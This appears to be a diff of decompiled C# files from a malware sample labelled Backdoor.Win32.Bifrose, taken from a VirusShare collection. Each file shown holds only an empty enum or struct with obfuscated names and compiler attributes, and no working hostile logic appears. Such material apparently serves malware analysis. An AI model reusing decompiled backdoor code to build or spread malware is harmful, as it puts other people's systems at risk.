namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[DebugInfoInPDB]
[NativeCppClass]
internal enum \u0081\u0097
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.œ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[MiscellaneousBits(64)]
[DebugInfoInPDB]
internal enum \u0081\u009C
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼. 
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0081\u00A0
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.§
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
internal enum \u0081\u00A7
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.«
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0081\u00AB
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.³
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
internal enum \u0081\u00B3
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.¹
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[DebugInfoInPDB]
[NativeCppClass]
internal enum \u0081\u00B9
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Â
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0081Â
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Ç
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[DebugInfoInPDB]
[NativeCppClass]
internal enum \u0081Ç
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Î
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0081Î
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Õ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
internal enum \u0081Õ
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Ü
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0081Ü
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ã
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0081ã
{
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.æ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[UnsafeValueType]
[MiscellaneousBits(65)]
[NativeCppClass]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 532)]
internal struct \u0081æ
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ì
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0081ì
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ò
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[DebugInfoInPDB]
[NativeCppClass]
internal enum \u0081ò
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ù
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(64)]
internal enum \u0081ù
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚„
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0082\u0084
{
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚ˆ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[UnsafeValueType]
[NativeCppClass]
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 544)]
internal struct \u0082\u0088
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚Š
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0082\u008A
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚Ž
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 16)]
internal struct \u0082\u008E
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚”
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0082\u0094
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚•
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[MiscellaneousBits(64)]
[DebugInfoInPDB]
internal enum \u0082\u0095
{
}
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚š
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(65)]
[NativeCppClass]
[DebugInfoInPDB]
[UnsafeValueType]
[StructLayout(LayoutKind.Sequential, Size = 64)]
internal struct \u0082\u009A
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚¢
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[MiscellaneousBits(64)]
[DebugInfoInPDB]
internal enum \u0082\u00A2
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚¥
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 224)]
internal struct \u0082\u00A5
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚¦
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0082\u00A6
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚§
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 248)]
internal struct \u0082\u00A7
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚¨
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 32)]
internal struct \u0082\u00A8
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚©
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[DebugInfoInPDB]
[NativeCppClass]
internal enum \u0082\u00A9
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚­
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
internal enum \u0082\u00AD
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚²
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(65)]
[NativeCppClass]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 8)]
internal struct \u0082\u00B2
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚³
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 8)]
internal struct \u0082\u00B3
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚¶
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(64)]
internal enum \u0082\u00B6
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‚º
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 4)]
internal struct \u0082º
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.†
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 60)]
internal struct \u0086
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ˆ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 8)]
internal struct \u0088
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[StructLayout(LayoutKind.Sequential, Size = 56)]
internal struct \u008D
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.”
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0094
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼. 
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 12)]
internal struct \u00A0
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.¨
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 36)]
internal struct \u00A8
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.­
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 4)]
internal struct \u00AD
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.±
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 16)]
internal struct \u00B1
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.´
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 4)]
internal struct \u00B4
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.µ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 4)]
